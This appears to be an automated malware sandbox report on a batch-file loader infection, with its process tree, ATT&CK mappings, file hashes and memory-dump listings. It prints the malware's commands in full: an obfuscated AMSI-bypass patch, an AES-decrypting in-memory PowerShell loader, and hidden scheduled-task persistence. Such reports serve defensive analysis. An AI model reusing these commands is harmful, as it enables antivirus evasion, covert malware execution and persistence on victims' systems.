$_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+'t'+[Char](101)+''+'m'+''+[Char](46)+''+'d'+'ll')}).GetType('M'+[Char](105)+''+'c'+'r'+[Char](111)+'s'+[Char](111)+''+[Char](102)+''+'t'+''+[Char](46)+'W'+[Char](105)+''+[Char](110)+''+'3'+'2.U'+[Char](110)+''+'s'+''+[Char](97)+''+[Char](102)+''+[Char](101)+''+[Char](78)+''+[Char](97)+'t'+[Char](105)+'v'+[Char](101)+''+[Char](77)+''+'e'+''+[Char](116)+''+[Char](104)+''+'o'+''+'d'+''+[Char](115)+'');$xrFLYAdtQlnhiK=$dncjQUcGxJIWl.GetMethod(''+[Char](71)+''+'e'+''+'t'+''+[Char](80)+'r'+'o'+''+[Char](99)+''+[Char](65)+''+[Char](100)+''+[Char](100)+''+'r'+''+[Char](101)+'s'+'s'+'',[Reflection.BindingFlags](''+'P'+''+'u'+''+'b'+''+[Char](108)+''+[Char](105)+''+'c'+','+[Char](83)+''+'t'+''+[Char](97)+''+[Char](116)+''+'i'+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$lbTKnVbgmaRQkYuBXkv=llKRvSZMllYW @([String])([IntPtr]);$uAkNTsgbHvdGMnhilDCjwF=llKRvSZMllYW @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$HQDHcWrrWZP=$dncjQUcGxJIWl.GetMethod(''+[Char](71)+'e'+[Char](116)+'Mo'+'d'+''+[Char](117)+''+[Char](108)+'eHa'+'n'+''+'d'+''+'l'+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+'e'+[Char](114)+''+[Char](110)+'e'+[Char](108)+''+[Char](51)+''+[Char](50)+''+'.'+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$HWSOotrTsxxFpR=$xrFLYAdtQlnhiK.Invoke($Null,@([Object]$HQDHcWrrWZP,[Object](''+'L'+''+'o'+''+[Char](97)+'d'+'L'+''+'i'+''+[Char](98)+''+[Char](114)+''+[Char](97)+''+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$jsPXUeZOBRDOzLaWS=$xrFLYAdtQlnhiK.Invoke($Null,@([Object]$HQDHcWrrWZP,[Object](''+[Char](86)+''+[Char](105)+''+[Char](114)+'tu'+'a'+''+'l'+''+'P'+'r'+[Char](111)+''+[Char](116)+''+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$BgTFYXp=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($HWSOotrTsxxFpR,$lbTKnVbgmaRQkYuBXkv).Invoke(''+[Char](97)+'m'+[Char](115)+''+[Char](105)+''+'.'+'d'+[Char](108)+''+[Char](108)+'');$ezApSscxgXTuikWSS=$xrFLYAdtQlnhiK.Invoke($Null,@([Object]$BgTFYXp,[Object](''+[Char](65)+'m'+[Char](115)+'iSc'+'a'+''+'n'+''+[Char](66)+''+[Char](117)+'f'+[Char](102)+''+[Char](101)+''+[Char](114)+'')));$kRCWvciZRy=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($jsPXUeZOBRDOzLaWS,$uAkNTsgbHvdGMnhilDCjwF).Invoke($ezApSscxgXTuikWSS,[uint32]8,4,[ref]$kRCWvciZRy);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$ezApSscxgXTuikWSS,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($jsPXUeZOBRDOzLaWS,$uAkNTsgbHvdGMnhilDCjwF).Invoke($ezApSscxgXTuikWSS,[uint32]8,0x20,[ref]$kRCWvciZRy);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+''+[Char](84)+''+[Char](87)+'ARE').GetValue(''+[Char](36)+''+[Char](55)+''+[Char](55)+''+'s'+''+'t'+'a'+'g'+''+'e'+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:212

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s NcbService
1⤵
PID:1080

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s nsi
1⤵
PID:1128

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
1⤵
PID:1192

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s Dhcp
1⤵
PID:1280

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s EventSystem
1⤵
PID:1300

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Themes
1⤵
PID:1308

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s UserManager
1⤵
PID:1412

c:\windows\system32\sihost.exe
sihost.exe
2⤵
PID:2916

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s SENS
1⤵
PID:1472

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s NlaSvc
1⤵
PID:1520

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s Dnscache
1⤵
PID:1536

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s AudioEndpointBuilder
1⤵
PID:1548

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
1⤵
PID:1640

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s netprofm
1⤵
PID:1692

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k appmodel -s StateRepository
1⤵
PID:1808

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
1⤵
PID:1816

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted
1⤵
PID:1828

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
1⤵
PID:2004

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2040

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s LanmanWorkstation
1⤵
PID:1596

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
1⤵
PID:2264

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
1⤵
PID:2272

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservicenetworkrestricted -s PolicyAgent
1⤵
PID:2320

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k appmodel -s tiledatamodelsvc
1⤵
PID:2364

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Browser
1⤵
PID:2396

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2412

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2456

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s TrkWks
1⤵
PID:2464

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
1⤵
PID:2480

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s WpnService
1⤵
PID:2500

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k unistacksvcgroup -s CDPUserSvc
1⤵
PID:2948

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2968

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s TokenBroker
1⤵
PID:2636

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3264

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\New1.bat"
2⤵
- Suspicious use of WriteProcessMemory
PID:1104

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('F+5wamWtVzd3aK2bnS7nWh4XV0PZc2pVZ9YG0yRK5cI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lnHVCKXb70Ny+fnCAwMhpw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $fLkgt=New-Object System.IO.MemoryStream(,$param_var); $wtCVF=New-Object System.IO.MemoryStream; $XRlUB=New-Object System.IO.Compression.GZipStream($fLkgt, [IO.Compression.CompressionMode]::Decompress); $XRlUB.CopyTo($wtCVF); $XRlUB.Dispose(); $fLkgt.Dispose(); $wtCVF.Dispose(); $wtCVF.ToArray();}function execute_function($param_var,$param2_var){ $PEWwL=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $iVLBa=$PEWwL.EntryPoint; $iVLBa.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\New1.bat';$OJTBF=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\New1.bat').Split([Environment]::NewLine);foreach ($Wvrxg in $OJTBF) { if ($Wvrxg.StartsWith(':: ')) { $TvDjF=$Wvrxg.Substring(3); break; }}$payloads_var=[string[]]$TvDjF.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
3⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:752

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_80_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_80.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4460

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_80.vbs"
4⤵
- Suspicious use of WriteProcessMemory
PID:4740

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_80.bat" "
5⤵
- Suspicious use of WriteProcessMemory
PID:4688

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
6⤵
PID:4704

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('F+5wamWtVzd3aK2bnS7nWh4XV0PZc2pVZ9YG0yRK5cI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lnHVCKXb70Ny+fnCAwMhpw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $fLkgt=New-Object System.IO.MemoryStream(,$param_var); $wtCVF=New-Object System.IO.MemoryStream; $XRlUB=New-Object System.IO.Compression.GZipStream($fLkgt, [IO.Compression.CompressionMode]::Decompress); $XRlUB.CopyTo($wtCVF); $XRlUB.Dispose(); $fLkgt.Dispose(); $wtCVF.Dispose(); $wtCVF.ToArray();}function execute_function($param_var,$param2_var){ $PEWwL=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $iVLBa=$PEWwL.EntryPoint; $iVLBa.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_80.bat';$OJTBF=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_80.bat').Split([Environment]::NewLine);foreach ($Wvrxg in $OJTBF) { if ($Wvrxg.StartsWith(':: ')) { $TvDjF=$Wvrxg.Substring(3); break; }}$payloads_var=[string[]]$TvDjF.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
6⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4304

C:\Users\Admin\AppData\Local\Temp\New.exe
"C:\Users\Admin\AppData\Local\Temp\New.exe"
7⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2644

C:\Windows\SysWOW64\SCHTASKS.exe
"SCHTASKS.exe" /create /tn "$77New.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\New.exe'" /sc onlogon /rl HIGHEST
8⤵
- Creates scheduled task(s)
PID:3228

C:\Users\Admin\AppData\Local\Temp\Install.exe
"C:\Users\Admin\AppData\Local\Temp\Install.exe"
7⤵
- Executes dropped EXE
PID:2648

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3792

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4036

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s CDPSvc
1⤵
PID:4728

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localserviceandnoimpersonation -s SSDPSRV
1⤵
PID:4468

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:3456

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:3276

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s wlidsvc
1⤵
PID:4660

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4436

C:\Windows\system32\ApplicationFrameHost.exe
C:\Windows\system32\ApplicationFrameHost.exe -Embedding
1⤵
PID:2076

C:\Windows\System32\InstallAgent.exe
C:\Windows\System32\InstallAgent.exe -Embedding
1⤵
PID:4996

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
1⤵
PID:2892

C:\Windows\sysWOW64\wbem\wmiprvse.exe
C:\Windows\sysWOW64\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:1388

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Suspicious behavior: EnumeratesProcesses
PID:4008

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
ac3d19fbb5c5f10833f1882308f77548

SHA1
ac880466fd99a5719fedc7289b00d78ba7088e06

SHA256
3353b90af649198e084632af776f8c6ea3a9302da5a50d85f7ecde1c7ad295df

SHA512
b5e6369d7f475e9931d19fb2a5305b4c901ca5fcac5d788d064b6a1b1d6de2034e84932ac243d5056c745b924a2e9537a06b4172fab364402263788c814bc28b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
17KB

MD5
19a55e60e121a540fc521e9f678a85d9

SHA1
82249ad9c017d256b3c15efb89eb7fa79148e663

SHA256
9fca5871afcefc9a4eecca771046d20b8acc897f37f21fe62beafe5e3b186715

SHA512
29c28f7357670ffc047be50630b460f0504aba7cc628a30826d2a601d1622af3a757c79c59276072cf61ac877fca516e66720cfd433911dee6ec596816c7716b

Download Submit
C:\Users\Admin\AppData\Local\Temp\Install.exe
Filesize
163KB

MD5
b51552b77057c2405f73bbbf9c89234a

SHA1
4793adbba023f90d2d2ad0ec55199c56de815224

SHA256
720e6962d75e37e8b47b160c5b3f60433a341f00abf60041630116b26858fbb0

SHA512
564f4104e6e398eeef8acc7ce7cab694b6eebbe4233b7cb359829242b949dc7c5bf124a550a4d0402eb7da19b8bec6c1f6753563b17a8ae36fb639be595b8d66

Download Submit
C:\Users\Admin\AppData\Local\Temp\New.exe
Filesize
409KB

MD5
cf570b21f42f0ce411b7c9961068931e

SHA1
f92aa688a1dbd64a4585ecfe80a9c2d7f408c57d

SHA256
d0c4045c70a0822806a4e56d7883821cd2c19362f1cfed3bcbdb1e1b8eb15234

SHA512
de9dce8300656cd8531569011d043373193cbda125b738e66a5bf107178b48781d6dc88eea696b2074c352a1bf56a4693cfae62e668993ac24ce18aebfdcd684

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uaca0e0v.naw.ps1
Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_80.bat
Filesize
1002KB

MD5
f6d5bfaee8a55ff72c7b453fda066d62

SHA1
7d737d53013990e5d05076b7206e43eb4793fc7f

SHA256
3ff8b6a041a96625d730dfe770eb6e84be8ce99fc50a0027724e48394f053308

SHA512
e300c15bef9e898e7abd4ecf6759c0e60829e8d9b507e257359b0c0342c56d56adf7924c76ffbbee4c42e1b1ea229b7032d177849d2668720090780190b7f284

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_80.vbs
Filesize
114B

MD5
ed6727914bd82e63738b7a4baecf0b48

SHA1
657c99505d822abb6de7108cb7ab51bfbf38fbb7

SHA256
7c431d1125251cb53943087030e0e65bc471ab22189f76acd1c777d1de1a3e93

SHA512
3c3066fa86be1ddc071f530688b6aabd17381e26c0634c194fabe337aef8451895636b05aab5289bb43116ff766ad003f9b6d7113c29fab5e9f684245a602f4d

Download Submit
C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04
Filesize
412B

MD5
21434a6e0879ba69a3d5695caeb379f2

SHA1
dc3a820d6c76ee3c64fb6213a31f994c134ae2eb

SHA256
d80f9678371be63e696eec0d984fdb535f3594b4c0d83bb8ad4bdceb9606e133

SHA512
25a63ccc05e549490cbeeebc8f87123d13b34011c787b7d7553dbb5a08e77a2732728f4816c02b971bd52c3503f47f93fc504c4ff3acae311bb3281c5c733c5a

Download Submit
memory/212-231-0x000001F2DB7C0000-0x000001F2DB7E2000-memory.dmp

Filesize
136KB

Download
memory/212-263-0x000001F2F3CC0000-0x000001F2F3CEA000-memory.dmp

Filesize
168KB

Download
memory/212-234-0x000001F2F3D30000-0x000001F2F3DA6000-memory.dmp

Filesize
472KB

Download
memory/212-264-0x00007FFE4AA30000-0x00007FFE4AC0B000-memory.dmp

Filesize
1.9MB

Download
memory/212-265-0x00007FFE49E40000-0x00007FFE49EEE000-memory.dmp

Filesize
696KB

Download
memory/584-283-0x000001DD6DAC0000-0x000001DD6DAEA000-memory.dmp

Filesize
168KB

Download
memory/584-288-0x00007FFE0AAC0000-0x00007FFE0AAD0000-memory.dmp

Filesize
64KB

Download
memory/584-280-0x000001DD6DA90000-0x000001DD6DAB5000-memory.dmp

Filesize
148KB

Download
memory/584-281-0x000001DD6DAC0000-0x000001DD6DAEA000-memory.dmp

Filesize
168KB

Download
memory/584-287-0x000001DD6DAC0000-0x000001DD6DAEA000-memory.dmp

Filesize
168KB

Download
memory/636-298-0x00007FFE0AAC0000-0x00007FFE0AAD0000-memory.dmp

Filesize
64KB

Download
memory/636-297-0x00000237BE0C0000-0x00000237BE0EA000-memory.dmp

Filesize
168KB

Download
memory/636-292-0x00000237BE0C0000-0x00000237BE0EA000-memory.dmp

Filesize
168KB

Download
memory/744-302-0x0000023564000000-0x000002356402A000-memory.dmp

Filesize
168KB

Download
memory/744-307-0x0000023564000000-0x000002356402A000-memory.dmp

Filesize
168KB

Download
memory/744-308-0x00007FFE0AAC0000-0x00007FFE0AAD0000-memory.dmp

Filesize
64KB

Download
memory/752-225-0x0000000073150000-0x000000007383E000-memory.dmp

Filesize
6.9MB

Download
memory/752-8-0x0000000008190000-0x00000000081F6000-memory.dmp

Filesize
408KB

Download
memory/752-3-0x0000000007170000-0x00000000071A6000-memory.dmp

Filesize
216KB

Download
memory/752-5-0x0000000073150000-0x000000007383E000-memory.dmp

Filesize
6.9MB

Download
memory/752-15-0x0000000008870000-0x00000000088E6000-memory.dmp

Filesize
472KB

Download
memory/752-4-0x00000000077E0000-0x0000000007E08000-memory.dmp

Filesize
6.2MB

Download
memory/752-6-0x0000000007760000-0x0000000007782000-memory.dmp

Filesize
136KB

Download
memory/752-14-0x0000000008B10000-0x0000000008B5B000-memory.dmp

Filesize
300KB

Download
memory/752-31-0x000000000AF70000-0x000000000B5E8000-memory.dmp

Filesize
6.5MB

Download
memory/752-32-0x00000000096A0000-0x00000000096BA000-memory.dmp

Filesize
104KB

Download
memory/752-26-0x0000000073150000-0x000000007383E000-memory.dmp

Filesize
6.9MB

Download
memory/752-9-0x0000000073150000-0x000000007383E000-memory.dmp

Filesize
6.9MB

Download
memory/752-34-0x000000000A970000-0x000000000AA62000-memory.dmp

Filesize
968KB

Download
memory/752-2-0x000000007315E000-0x000000007315F000-memory.dmp

Filesize
4KB

Download
memory/752-33-0x0000000009670000-0x0000000009678000-memory.dmp

Filesize
32KB

Download
memory/752-13-0x0000000008000000-0x000000000801C000-memory.dmp

Filesize
112KB

Download
memory/752-35-0x000000000D5F0000-0x000000000DAEE000-memory.dmp

Filesize
5.0MB

Download
memory/752-10-0x0000000008200000-0x0000000008550000-memory.dmp

Filesize
3.3MB

Download
memory/752-7-0x0000000007F40000-0x0000000007FA6000-memory.dmp

Filesize
408KB

Download
memory/900-317-0x000002D90C250000-0x000002D90C27A000-memory.dmp

Filesize
168KB

Download
memory/900-318-0x00007FFE0AAC0000-0x00007FFE0AAD0000-memory.dmp

Filesize
64KB

Download
memory/900-312-0x000002D90C250000-0x000002D90C27A000-memory.dmp

Filesize
168KB

Download
memory/992-327-0x0000027F13D60000-0x0000027F13D8A000-memory.dmp

Filesize
168KB

Download
memory/992-322-0x0000027F13D60000-0x0000027F13D8A000-memory.dmp

Filesize
168KB

Download
memory/992-328-0x00007FFE0AAC0000-0x00007FFE0AAD0000-memory.dmp

Filesize
64KB

Download
memory/2496-275-0x00007FFE4AA30000-0x00007FFE4AC0B000-memory.dmp

Filesize
1.9MB

Download
memory/2496-277-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2496-267-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2496-266-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2496-271-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2496-269-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2496-276-0x00007FFE49E40000-0x00007FFE49EEE000-memory.dmp

Filesize
696KB

Download
memory/2496-268-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2644-223-0x0000000000750000-0x00000000007BC000-memory.dmp

Filesize
432KB

Download
memory/4304-205-0x000000000A830000-0x000000000A89C000-memory.dmp

Filesize
432KB

Download
memory/4304-226-0x0000000006EC0000-0x0000000006ED2000-memory.dmp

Filesize
72KB

Download
memory/4304-235-0x00000000093E0000-0x000000000941E000-memory.dmp

Filesize
248KB

Download
memory/4304-206-0x000000000A960000-0x000000000A9F2000-memory.dmp

Filesize
584KB

Download
memory/4304-243-0x0000000009490000-0x000000000949A000-memory.dmp

Filesize
40KB

Download
memory/4460-72-0x0000000009BE0000-0x0000000009C85000-memory.dmp

Filesize
660KB

Download
memory/4460-159-0x0000000073150000-0x000000007383E000-memory.dmp

Filesize
6.9MB

Download
memory/4460-74-0x0000000009D90000-0x0000000009E24000-memory.dmp

Filesize
592KB

Download
memory/4460-73-0x0000000073150000-0x000000007383E000-memory.dmp

Filesize
6.9MB

Download
memory/4460-167-0x0000000073150000-0x000000007383E000-memory.dmp

Filesize
6.9MB

Download
memory/4460-65-0x000000006FD30000-0x000000006FD7B000-memory.dmp

Filesize
300KB

Download
memory/4460-67-0x0000000073150000-0x000000007383E000-memory.dmp

Filesize
6.9MB

Download
memory/4460-66-0x0000000009A40000-0x0000000009A5E000-memory.dmp

Filesize
120KB

Download
memory/4460-64-0x0000000009A60000-0x0000000009A93000-memory.dmp

Filesize
204KB

Download
memory/4460-47-0x0000000073150000-0x000000007383E000-memory.dmp

Filesize
6.9MB

Download
memory/4460-46-0x0000000073150000-0x000000007383E000-memory.dmp

Filesize
6.9MB

Download
memory/4460-45-0x0000000073150000-0x000000007383E000-memory.dmp

Filesize
6.9MB

Download